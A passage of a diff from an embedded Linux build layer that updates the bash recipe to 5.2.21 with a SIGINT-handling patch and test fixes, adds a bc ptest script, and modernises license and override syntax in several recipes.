+Signed-off-by: Xiangyu Chen <xiangyu.chen@windriver.com>
+---
+ general.c | 5 +++--
+ jobs.c | 24 ++++++++++++++++--------
+ tests/redir.right | 4 ++--
+ tests/redir11.sub | 2 ++
+ tests/type.right | 16 ++++++++--------
+ tests/type.tests | 24 ++++++++++++------------
+ 6 files changed, 43 insertions(+), 32 deletions(-)
+
+diff --git a/general.c b/general.c
+index 85c5a8b6..65e2ee06 100644
+--- a/general.c
++++ b/general.c
+@@ -262,8 +262,9 @@ legal_number (string, result)
+ if (errno || ep == string)
+ return 0; /* errno is set on overflow or underflow */
+
+- /* Skip any trailing whitespace, since strtoimax does not. */
+- while (whitespace (*ep))
++ /* Skip any trailing whitespace, since strtoimax does not, using the same
++ test that strtoimax uses for leading whitespace. */
++ while (isspace ((unsigned char) *ep))
+ ep++;
+
+ /* If *string is not '\0' but *ep is '\0' on return, the entire string
+diff --git a/jobs.c b/jobs.c
+index 6b986ed7..262d78de 100644
+--- a/jobs.c
++++ b/jobs.c
+@@ -2718,6 +2718,10 @@ wait_for_background_pids (ps)
+ #define INVALID_SIGNAL_HANDLER (SigHandler *)wait_for_background_pids
+ static SigHandler *old_sigint_handler = INVALID_SIGNAL_HANDLER;
+
++/* The current SIGINT handler as set by restore_sigint_handler. Only valid
++ immediately after restore_sigint_handler, used for continuations. */
++static SigHandler *cur_sigint_handler = INVALID_SIGNAL_HANDLER;
++
+ static int wait_sigint_received;
+ static int child_caught_sigint;
+
+@@ -2735,6 +2739,7 @@ wait_sigint_cleanup ()
+ static void
+ restore_sigint_handler ()
+ {
++ cur_sigint_handler = old_sigint_handler;
+ if (old_sigint_handler != INVALID_SIGNAL_HANDLER)
+ {
+ set_signal_handler (SIGINT, old_sigint_handler);
+@@ -2758,8 +2763,7 @@ wait_sigint_handler (sig)
+ restore_sigint_handler ();
+ /* If we got a SIGINT while in `wait', and SIGINT is trapped, do
+ what POSIX.2 says (see builtins/wait.def for more info). */
+- if (this_shell_builtin && this_shell_builtin == wait_builtin &&
+- signal_is_trapped (SIGINT) &&
++ if (signal_is_trapped (SIGINT) &&
+ ((sigint_handler = trap_to_sighandler (SIGINT)) == trap_handler))
+ {
+ trap_handler (SIGINT); /* set pending_traps[SIGINT] */
+@@ -2782,6 +2786,8 @@ wait_sigint_handler (sig)
+ {
+ set_exit_status (128+SIGINT);
+ restore_sigint_handler ();
++ if (cur_sigint_handler == INVALID_SIGNAL_HANDLER)
++ set_sigint_handler (); /* XXX - only do this in one place */
+ kill (getpid (), SIGINT);
+ }
+
+@@ -2926,11 +2932,13 @@ wait_for (pid, flags)
+ {
+ SigHandler *temp_sigint_handler;
+
+- temp_sigint_handler = set_signal_handler (SIGINT, wait_sigint_handler);
+- if (temp_sigint_handler == wait_sigint_handler)
+- internal_debug ("wait_for: recursively setting old_sigint_handler to wait_sigint_handler: running_trap = %d", running_trap);
+- else
+- old_sigint_handler = temp_sigint_handler;
++ temp_sigint_handler = old_sigint_handler;
++ old_sigint_handler = set_signal_handler (SIGINT, wait_sigint_handler);
++ if (old_sigint_handler == wait_sigint_handler)
++ {
++ internal_debug ("wait_for: recursively setting old_sigint_handler to wait_sigint_handler: running_trap = %d", running_trap);
++ old_sigint_handler = temp_sigint_handler;
++ }
+ waiting_for_child = 0;
+ if (old_sigint_handler == SIG_IGN)
+ set_signal_handler (SIGINT, old_sigint_handler);
+@@ -4136,7 +4144,7 @@ set_job_status_and_cleanup (job)
+ SIGINT (if we reset the sighandler to the default).
+ In this case, we have to fix things up. What a crock. */
+ if (temp_handler == trap_handler && signal_is_trapped (SIGINT) == 0)
+- temp_handler = trap_to_sighandler (SIGINT);
++ temp_handler = trap_to_sighandler (SIGINT);
+ restore_sigint_handler ();
+ if (temp_handler == SIG_DFL)
+ termsig_handler (SIGINT); /* XXX */
+diff --git a/tests/redir.right b/tests/redir.right
+index 8db10414..9e1403c8 100644
+--- a/tests/redir.right
++++ b/tests/redir.right
+@@ -154,10 +154,10 @@ foo
+ 1
+ 7
+ after: 42
+-./redir11.sub: line 53: $(ss= declare -i ss): ambiguous redirect
++./redir11.sub: line 55: $(ss= declare -i ss): ambiguous redirect
+ after: 42
+ a+=3
+ foo
+ foo
+-./redir11.sub: line 75: 42: No such file or directory
++./redir11.sub: line 77: 42: No such file or directory
+ 42
+diff --git a/tests/redir11.sub b/tests/redir11.sub
+index d417cdb6..ca9854cd 100644
+--- a/tests/redir11.sub
++++ b/tests/redir11.sub
+@@ -34,6 +34,8 @@ a=4 b=7 ss=4 declare -i ss
+ a=4 b=7 foo
+ echo after: $a
+
++exec 7>&- 4>&-
++
+ unset a
+ a=4 echo foo 2>&1 >&$(foo) | { grep -q 'Bad file' || echo 'redir11 bad 3'; }
+ a=1 echo foo 2>&1 >&$(foo) | { grep -q 'Bad file' || echo 'redir11 bad 4'; }
+diff --git a/tests/type.right b/tests/type.right
+index bbc228e8..e0a66745 100644
+--- a/tests/type.right
++++ b/tests/type.right
+@@ -24,15 +24,15 @@ func ()
+ }
+ while
+ while is a shell keyword
+-./type.tests: line 56: type: m: not found
+-alias m='more'
+-alias m='more'
+-m is aliased to `more'
++./type.tests: line 56: type: morealias: not found
++alias morealias='more'
++alias morealias='more'
++morealias is aliased to `more'
+ alias
+-alias m='more'
+-alias m='more'
+-alias m='more'
+-m is aliased to `more'
++alias morealias='more'
++alias morealias='more'
++alias morealias='more'
++morealias is aliased to `more'
+ builtin
+ builtin is a shell builtin
+ /bin/sh
+diff --git a/tests/type.tests b/tests/type.tests
+index fd39c18a..ddc15407 100644
+--- a/tests/type.tests
++++ b/tests/type.tests
+@@ -25,8 +25,6 @@ type -r ${THIS_SH}
+ type notthere
+ command -v notthere
+
+-alias m=more
+-
+ unset -f func 2>/dev/null
+ func() { echo this is func; }
+
+@@ -49,24 +47,26 @@ command -V func
+ command -v while
+ command -V while
+
++alias morealias=more
++
+ # the following two lines should produce the same output
+ # post-3.0 patch makes command -v silent, as posix specifies
+ # first test with alias expansion off (should all fail or produce no output)
+-type -t m
+-type m
+-command -v m
++type -t morealias
++type morealias
++command -v morealias
+ alias -p
+-alias m
++alias morealias
+
+ # then test with alias expansion on
+ shopt -s expand_aliases
+-type m
+-type -t m
+-command -v m
++type morealias
++type -t morealias
++command -v morealias
+ alias -p
+-alias m
++alias morealias
+
+-command -V m
++command -V morealias
+ shopt -u expand_aliases
+
+ command -v builtin
+@@ -76,7 +76,7 @@ command -V /bin/sh
+
+ unset -f func
+ type func
+-unalias m
++unalias morealias
+ type m
+
+ hash -r
+--
+2.35.5
+
diff --git a/meta/recipes-extended/bash/bash/build-tests.patch b/meta/recipes-extended/bash/bash/build-tests.patch
index 5f2dae94a1..ea38bace9b 100644
--- a/meta/recipes-extended/bash/bash/build-tests.patch
+++ b/meta/recipes-extended/bash/bash/build-tests.patch
@@ -1,19 +1,24 @@
-Add 'ptest' target to Makefile, to run tests without checking dependencies.
+From 318b762837c2ad25319caeaf0320eff613b64daf Mon Sep 17 00:00:00 2001
+From: Anders Roxell <anders.roxell@enea.com>
+Date: Wed, 19 Dec 2012 17:18:31 +0100
+Subject: [PATCH] Add 'ptest' target to Makefile, to run tests without checking
+ dependencies.
Upstream-Status: Pending
Signed-off-by: Anders Roxell <anders.roxell@enea.com>
Rebase to 5.0
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
Makefile.in | 24 +++++++++++++++++++-----
1 file changed, 19 insertions(+), 5 deletions(-)
diff --git a/Makefile.in b/Makefile.in
-index 5fcb44b..de1c255 100644
+index bc97049..937ce39 100644
--- a/Makefile.in
+++ b/Makefile.in
-@@ -932,20 +932,34 @@ maybe-clean:
+@@ -943,20 +943,34 @@ maybe-clean:
fi
recho$(EXEEXT): $(SUPPORT_SRC)recho.c
@@ -51,8 +56,5 @@ index 5fcb44b..de1c255 100644
+
+runtest:
@( cd $(srcdir)/tests && \
- PATH=$(BUILD_DIR)/tests:$$PATH THIS_SH=$(THIS_SH) $(SHELL) ${TESTSCRIPT} )
+ BUILD_DIR=$(BUILD_DIR) PATH=$(BUILD_DIR)/tests:$$PATH THIS_SH=$(THIS_SH) $(SHELL) ${TESTSCRIPT} )
---
-2.7.4
-
diff --git a/meta/recipes-extended/bash/bash/execute_cmd.patch b/meta/recipes-extended/bash/bash/execute_cmd.patch
deleted file mode 100644
index 7a9e9a902f..0000000000
--- a/meta/recipes-extended/bash/bash/execute_cmd.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
-Rebase to 5.0
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- execute_cmd.c | 6 +++++-
- 1 file changed, 5 insertions(+), 1 deletion(-)
-
-diff --git a/execute_cmd.c b/execute_cmd.c
-index f1d74bf..31674b4 100644
---- a/execute_cmd.c
-+++ b/execute_cmd.c
-@@ -2567,7 +2567,11 @@ execute_pipeline (command, asynchronous, pipe_in, pipe_out, fds_to_close)
- /* If the `lastpipe' option is set with shopt, and job control is not
- enabled, execute the last element of non-async pipelines in the
- current shell environment. */
-- if (lastpipe_opt && job_control == 0 && asynchronous == 0 && pipe_out == NO_PIPE && prev > 0)
-+ if (lastpipe_opt &&
-+#if defined(JOB_CONTROL)
-+ job_control == 0 &&
-+#endif
-+ asynchronous == 0 && pipe_out == NO_PIPE && prev > 0)
- {
- lstdin = move_to_high_fd (0, 1, -1);
- if (lstdin > 0)
---
-2.7.4
-
diff --git a/meta/recipes-extended/bash/bash/use_aclocal.patch b/meta/recipes-extended/bash/bash/use_aclocal.patch
new file mode 100644
index 0000000000..bd6870b386
--- /dev/null
+++ b/meta/recipes-extended/bash/bash/use_aclocal.patch
@@ -0,0 +1,70 @@
+From d1bf23817afffd5917b74da6946e0c3b7e63e336 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 28 Dec 2020 21:04:27 +0100
+Subject: [PATCH] bash: update 5.0 -> 5.1
+
+Including m4 files directly like this confuses autotools.bbclass, remove
+the references and rely upon aclocal to collect the m4 files together
+as needed instead making it work like other autotools based projects.
+
+Upstream-Status: Inappropriate [OE configuration specific]
+RP 2021/1/20
+
+---
+ configure.ac | 43 -------------------------------------------
+ 1 file changed, 43 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index 50a6e20..a3b5bd7 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -710,49 +710,6 @@ if test x$SIZE = x; then
+ fi
+ AC_SUBST(SIZE)
+
+-m4_include([m4/stat-time.m4])
+-m4_include([m4/timespec.m4])
+-
+-m4_include([m4/strtoimax.m4])
+-
+-dnl include files for gettext
+-
+-m4_include([m4/codeset.m4])
+-m4_include([m4/extern-inline.m4])
+-m4_include([m4/fcntl-o.m4])
+-m4_include([m4/gettext.m4])
+-m4_include([m4/glibc2.m4])
+-m4_include([m4/glibc21.m4])
+-m4_include([m4/host-cpu-c-abi.m4])
+-m4_include([m4/iconv.m4])
+-m4_include([m4/intdiv0.m4])
+-m4_include([m4/intl.m4])
+-m4_include([m4/intlmacosx.m4])
+-m4_include([m4/intl-thread-locale.m4])
+-m4_include([m4/intmax.m4])
+-m4_include([m4/inttypes-pri.m4])
+-m4_include([m4/inttypes.m4])
+-m4_include([m4/inttypes_h.m4])
+-m4_include([m4/lcmessage.m4])
+-m4_include([m4/lib-ld.m4])
+-m4_include([m4/lib-link.m4])
+-m4_include([m4/lib-prefix.m4])
+-m4_include([m4/lock.m4])
+-m4_include([m4/nls.m4])
+-m4_include([m4/po.m4])
+-m4_include([m4/printf-posix.m4])
+-m4_include([m4/progtest.m4])
+-m4_include([m4/pthread_rwlock_rdlock.m4])
+-m4_include([m4/size_max.m4])
+-m4_include([m4/stdint_h.m4])
+-m4_include([m4/threadlib.m4])
+-m4_include([m4/uintmax_t.m4])
+-m4_include([m4/ulonglong.m4])
+-m4_include([m4/visibility.m4])
+-m4_include([m4/wchar_t.m4])
+-m4_include([m4/wint_t.m4])
+-m4_include([m4/xsize.m4])
+-
+ dnl C compiler characteristics
+ AC_C_CONST
+ AC_C_INLINE
diff --git a/meta/recipes-extended/bash/bash_5.0.bb b/meta/recipes-extended/bash/bash_5.0.bb
deleted file mode 100644
index 8ff9e6edaf..0000000000
--- a/meta/recipes-extended/bash/bash_5.0.bb
+++ /dev/null
@@ -1,72 +0,0 @@
-require bash.inc
-
-# GPLv2+ (< 4.0), GPLv3+ (>= 4.0)
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "${GNU_MIRROR}/bash/${BP}.tar.gz;name=tarball \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-001;apply=yes;striplevel=0;name=patch001 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-002;apply=yes;striplevel=0;name=patch002 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-003;apply=yes;striplevel=0;name=patch003 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-004;apply=yes;striplevel=0;name=patch004 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-005;apply=yes;striplevel=0;name=patch005 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-006;apply=yes;striplevel=0;name=patch006 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-007;apply=yes;striplevel=0;name=patch007 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-008;apply=yes;striplevel=0;name=patch008 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-009;apply=yes;striplevel=0;name=patch009 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-010;apply=yes;striplevel=0;name=patch010 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-011;apply=yes;striplevel=0;name=patch011 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-012;apply=yes;striplevel=0;name=patch012 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-013;apply=yes;striplevel=0;name=patch013 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-014;apply=yes;striplevel=0;name=patch014 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-015;apply=yes;striplevel=0;name=patch015 \
- ${GNU_MIRROR}/bash/bash-${PV}-patches/bash50-016;apply=yes;striplevel=0;name=patch016 \
- file://execute_cmd.patch \
- file://mkbuiltins_have_stringize.patch \
- file://build-tests.patch \
- file://test-output.patch \
- file://run-ptest \
- file://run-bash-ptests \
- file://fix-run-builtins.patch \
- "
-
-SRC_URI[tarball.md5sum] = "2b44b47b905be16f45709648f671820b"
-SRC_URI[tarball.sha256sum] = "b4a80f2ac66170b2913efbfb9f2594f1f76c7b1afd11f799e22035d63077fb4d"
-
-SRC_URI[patch001.md5sum] = "b026862ab596a5883bb4f0d1077a3819"
-SRC_URI[patch001.sha256sum] = "f2fe9e1f0faddf14ab9bfa88d450a75e5d028fedafad23b88716bd657c737289"
-SRC_URI[patch002.md5sum] = "2f4a7787365790ae57f36b311701ea7e"
-SRC_URI[patch002.sha256sum] = "87e87d3542e598799adb3e7e01c8165bc743e136a400ed0de015845f7ff68707"
-SRC_URI[patch003.md5sum] = "af7f2dd93fd5429fb5e9a642ff74f87d"
-SRC_URI[patch003.sha256sum] = "4eebcdc37b13793a232c5f2f498a5fcbf7da0ecb3da2059391c096db620ec85b"
-SRC_URI[patch004.md5sum] = "b60545b273bfa4e00a760f2c648bed9c"
-SRC_URI[patch004.sha256sum] = "14447ad832add8ecfafdce5384badd933697b559c4688d6b9e3d36ff36c62f08"
-SRC_URI[patch005.md5sum] = "875a0bedf48b74e453e3997c84b5d8a4"
-SRC_URI[patch005.sha256sum] = "5bf54dd9bd2c211d2bfb34a49e2c741f2ed5e338767e9ce9f4d41254bf9f8276"
-SRC_URI[patch006.md5sum] = "4a8ee95adb72c3aba03d9e8c9f96ece6"
-SRC_URI[patch006.sha256sum] = "d68529a6ff201b6ff5915318ab12fc16b8a0ebb77fda3308303fcc1e13398420"
-SRC_URI[patch007.md5sum] = "411560d81fde2dc5b17b83c3f3b58c6f"
-SRC_URI[patch007.sha256sum] = "17b41e7ee3673d8887dd25992417a398677533ab8827938aa41fad70df19af9b"
-SRC_URI[patch008.md5sum] = "dd7cf7a784d1838822cad8d419315991"
-SRC_URI[patch008.sha256sum] = "eec64588622a82a5029b2776e218a75a3640bef4953f09d6ee1f4199670ad7e3"
-SRC_URI[patch009.md5sum] = "c1b3e937cd6dccbb7fd772f32812a0da"
-SRC_URI[patch009.sha256sum] = "ed3ca21767303fc3de93934aa524c2e920787c506b601cc40a4897d4b094d903"
-SRC_URI[patch010.md5sum] = "19b41e73b03602d0e261c471b53e670c"
-SRC_URI[patch010.sha256sum] = "d6fbc325f0b5dc54ddbe8ee43020bced8bd589ddffea59d128db14b2e52a8a11"
-SRC_URI[patch011.md5sum] = "414339330a3634137081a97f2c8615a8"
-SRC_URI[patch011.sha256sum] = "2c4de332b91eaf797abbbd6c79709690b5cbd48b12e8dfe748096dbd7bf474ea"
-SRC_URI[patch012.md5sum] = "1870268f62b907221b078ad109e1fa94"
-SRC_URI[patch012.sha256sum] = "2943ee19688018296f2a04dbfe30b7138b889700efa8ff1c0524af271e0ee233"
-SRC_URI[patch013.md5sum] = "40d923af4b952b01983ed4c889ae2653"
-SRC_URI[patch013.sha256sum] = "f5d7178d8da30799e01b83a0802018d913d6aa972dd2ddad3b927f3f3eb7099a"
-SRC_URI[patch014.md5sum] = "57857b22053c8167677e5e5ac5c6669b"
-SRC_URI[patch014.sha256sum] = "5d6eee6514ee6e22a87bba8d22be0a8621a0ae119246f1c5a9a35db1f72af589"
-SRC_URI[patch015.md5sum] = "c4c6ea23d09a74eaa9385438e48fdf02"
-SRC_URI[patch015.sha256sum] = "a517df2dda93b26d5cbf00effefea93e3a4ccd6652f152f4109170544ebfa05e"
-SRC_URI[patch016.md5sum] = "a682ed6fa2c2e7a7c3ba6bdeada07fb5"
-SRC_URI[patch016.sha256sum] = "ffd1d7a54a99fa7f5b1825e4f7e95d8c8876bc2ca151f150e751d429c650b06d"
-
-DEBUG_OPTIMIZATION_append_armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
-DEBUG_OPTIMIZATION_append_armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/bash/bash_5.2.21.bb b/meta/recipes-extended/bash/bash_5.2.21.bb
new file mode 100644
index 0000000000..46d921bbe6
--- /dev/null
+++ b/meta/recipes-extended/bash/bash_5.2.21.bb
@@ -0,0 +1,23 @@
+require bash.inc
+
+# GPL-2.0-or-later (< 4.0), GPL-3.0-or-later (>= 4.0)
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+SRC_URI = "${GNU_MIRROR}/bash/${BP}.tar.gz;name=tarball \
+ file://mkbuiltins_have_stringize.patch \
+ file://build-tests.patch \
+ file://test-output.patch \
+ file://run-ptest \
+ file://run-bash-ptests \
+ file://fix-run-builtins.patch \
+ file://use_aclocal.patch \
+ file://0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch \
+ "
+
+SRC_URI[tarball.sha256sum] = "c8e31bdc59b69aaffc5b36509905ba3e5cbb12747091d27b4b977f078560d5b8"
+
+DEBUG_OPTIMIZATION:append:armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+DEBUG_OPTIMIZATION:append:armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/bc/bc/run-ptest b/meta/recipes-extended/bc/bc/run-ptest
new file mode 100644
index 0000000000..ba5abe6805
--- /dev/null
+++ b/meta/recipes-extended/bc/bc/run-ptest
@@ -0,0 +1,9 @@
+#! /bin/sh
+
+for TEST in *.b; do
+ if bc -l $TEST </dev/null; then
+ echo "PASS: bc/$TEST"
+ else
+ echo "FAIL: bc/$TEST"
+ fi
+done
diff --git a/meta/recipes-extended/bc/bc_1.07.1.bb b/meta/recipes-extended/bc/bc_1.07.1.bb
index 4a51302492..819da6cda6 100644
--- a/meta/recipes-extended/bc/bc_1.07.1.bb
+++ b/meta/recipes-extended/bc/bc_1.07.1.bb
@@ -1,7 +1,8 @@
SUMMARY = "Arbitrary precision calculator language"
HOMEPAGE = "http://www.gnu.org/software/bc/bc.html"
+DESCRIPTION = "bc is an arbitrary precision numeric processing language. Syntax is similar to C, but differs in many substantial areas. It supports interactive execution of statements."
-LICENSE = "GPLv3+"
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
file://COPYING.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
file://bc/bcdefs.h;endline=17;md5=4295c06df9e833519a342f7b5d43db06 \
@@ -14,21 +15,26 @@ DEPENDS = "flex-native"
SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz \
file://no-gen-libmath.patch \
file://libmath.h \
- file://0001-dc-fix-exit-code-of-q-command.patch"
+ file://0001-dc-fix-exit-code-of-q-command.patch \
+ file://run-ptest"
SRC_URI[md5sum] = "cda93857418655ea43590736fc3ca9fc"
SRC_URI[sha256sum] = "62adfca89b0a1c0164c2cdca59ca210c1d44c3ffc46daf9931cf4942664cb02a"
-inherit autotools texinfo update-alternatives
+inherit autotools texinfo update-alternatives ptest
PACKAGECONFIG ??= "readline"
PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
PACKAGECONFIG[libedit] = "--with-libedit,--without-libedit,libedit"
-do_compile_prepend() {
+do_compile:prepend() {
cp -f ${WORKDIR}/libmath.h ${B}/bc/libmath.h
}
-ALTERNATIVE_${PN} = "bc dc"
+do_install_ptest() {
+ install ${S}/Test/*.b ${D}${PTEST_PATH}
+}
+
+ALTERNATIVE:${PN} = "bc dc"
ALTERNATIVE_PRIORITY = "100"
-BBCLASSEXTEND = "native"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/blktool/blktool_4-7.1.bb b/meta/recipes-extended/blktool/blktool_4-7.1.bb
index ff2eaa5352..bb44befb56 100644
--- a/meta/recipes-extended/blktool/blktool_4-7.1.bb
+++ b/meta/recipes-extended/blktool/blktool_4-7.1.bb
@@ -3,7 +3,7 @@ DESCRIPTION = "blktool is used for querying and/or changing settings \
of a block device. It is like hdparm but a more general tool, as it \
works on SCSI, IDE and SATA devices."
HOMEPAGE = "http://packages.debian.org/unstable/admin/blktool"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://blktool.c;beginline=7;endline=8;md5=a5e798ea98fd50972088968a15e5f373"
diff --git a/meta/recipes-extended/bzip2/bzip2/Makefile.am b/meta/recipes-extended/bzip2/bzip2/Makefile.am
index d4498947e8..d12d3a45e4 100644
--- a/meta/recipes-extended/bzip2/bzip2/Makefile.am
+++ b/meta/recipes-extended/bzip2/bzip2/Makefile.am
@@ -1,6 +1,6 @@
lib_LTLIBRARIES = libbz2.la
-libbz2_la_LDFLAGS = -version-info 1:6:0
+libbz2_la_LDFLAGS = -version-info 1:8:0
libbz2_la_SOURCES = blocksort.c \
huffman.c \
@@ -46,7 +46,7 @@ runtest:
else echo "FAIL: sample2 decompress"; fi
@if cmp sample3.tst sample3.ref; then echo "PASS: sample3 decompress";\
else echo "FAIL: sample3 decompress"; fi
- ./bzip2-tests/run-tests.sh --tests-dir="$(PWD)/bzip2-tests"
+ ./bzip2-tests/run-tests.sh --without-valgrind --tests-dir="$(PWD)/bzip2-tests"
install-ptest:
sed -n '/^runtest:/,/^install-ptest:/{/^install-ptest:/!p}' \
diff --git a/meta/recipes-extended/bzip2/bzip2_1.0.8.bb b/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
index 70eb67f1f2..4e3a06f240 100644
--- a/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
+++ b/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
@@ -4,14 +4,14 @@ Huffman coding. Compression is generally considerably better than that achieved
LZ77/LZ78-based compressors, and approaches the performance of the PPM family of statistical compressors."
HOMEPAGE = "https://sourceware.org/bzip2/"
SECTION = "console/utils"
-LICENSE = "bzip2-1.0.6 & GPLv3+ & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
-LICENSE_${PN} = "bzip2-1.0.6"
-LICENSE_${PN}-dev = "bzip2-1.0.6"
-LICENSE_${PN}-dbg = "bzip2-1.0.6"
-LICENSE_${PN}-doc = "bzip2-1.0.6"
-LICENSE_${PN}-src = "bzip2-1.0.6"
-LICENSE_libbz2 = "bzip2-1.0.6"
-LICENSE_${PN}-ptest = "bzip2-1.0.6 & GPLv3+ & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
+LICENSE = "bzip2-1.0.6 & GPL-3.0-or-later & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
+LICENSE:${PN} = "bzip2-1.0.6"
+LICENSE:${PN}-dev = "bzip2-1.0.6"
+LICENSE:${PN}-dbg = "bzip2-1.0.6"
+LICENSE:${PN}-doc = "bzip2-1.0.6"
+LICENSE:${PN}-src = "bzip2-1.0.6"
+LICENSE:libbz2 = "bzip2-1.0.6"
+LICENSE:${PN}-ptest = "bzip2-1.0.6 & GPL-3.0-or-later & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
LIC_FILES_CHKSUM = "file://LICENSE;beginline=4;endline=37;md5=600af43c50f1fcb82e32f19b32df4664 \
file://${WORKDIR}/git/commons-compress/LICENSE.txt;md5=86d3f3a95c324c9479bd8986968f4327 \
@@ -22,7 +22,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;beginline=4;endline=37;md5=600af43c50f1fcb82e
"
SRC_URI = "https://sourceware.org/pub/${BPN}/${BPN}-${PV}.tar.gz \
- git://sourceware.org/git/bzip2-tests.git;name=bzip2-tests \
+ git://sourceware.org/git/bzip2-tests.git;name=bzip2-tests;branch=master;protocol=https \
file://configure.ac;subdir=${BP} \
file://Makefile.am;subdir=${BP} \
file://run-ptest \
@@ -36,17 +36,17 @@ UPSTREAM_CHECK_URI = "https://www.sourceware.org/pub/bzip2/"
PACKAGES =+ "libbz2"
-CFLAGS_append = " -fPIC -fpic -Winline -fno-strength-reduce -D_FILE_OFFSET_BITS=64"
+CFLAGS:append = " -fPIC -fpic -Winline -fno-strength-reduce -D_FILE_OFFSET_BITS=64"
inherit autotools update-alternatives ptest relative_symlinks
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "bunzip2 bzcat bzip2"
+ALTERNATIVE:${PN} = "bunzip2 bzcat bzip2"
#install binaries to bzip2-native under sysroot for replacement-native
-EXTRA_OECONF_append_class-native = " --bindir=${STAGING_BINDIR_NATIVE}/${PN}"
+EXTRA_OECONF:append:class-native = " --bindir=${STAGING_BINDIR_NATIVE}/${PN}"
-do_configure_prepend () {
+do_configure:prepend () {
sed -i -e "s|%BZIP2_VERSION%|${PV}|" ${S}/configure.ac
}
@@ -62,9 +62,9 @@ do_install_ptest () {
sed -i -e "s|^Makefile:|_Makefile:|" ${D}${PTEST_PATH}/Makefile
}
-FILES_libbz2 = "${libdir}/lib*${SOLIBS}"
+FILES:libbz2 = "${libdir}/lib*${SOLIBS}"
-RDEPENDS_${PN}-ptest += "make bash"
+RDEPENDS:${PN}-ptest += "make bash"
-PROVIDES_append_class-native = " bzip2-replacement-native"
+PROVIDES:append:class-native = " bzip2-replacement-native"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/cpio/cpio-2.13/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-extended/cpio/cpio-2.13/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index 6ae213942c..0000000000
--- a/meta/recipes-extended/cpio/cpio-2.13/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: cpio-2.11/gnu/Makefile.am
-===================================================================
---- cpio-2.11.orig/gnu/Makefile.am
-+++ cpio-2.11/gnu/Makefile.am
-@@ -734,7 +734,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
diff --git a/meta/recipes-extended/cpio/cpio-2.13/0002-src-global.c-Remove-superfluous-declaration-of-progr.patch b/meta/recipes-extended/cpio/cpio-2.13/0002-src-global.c-Remove-superfluous-declaration-of-progr.patch
deleted file mode 100644
index 478324c1c4..0000000000
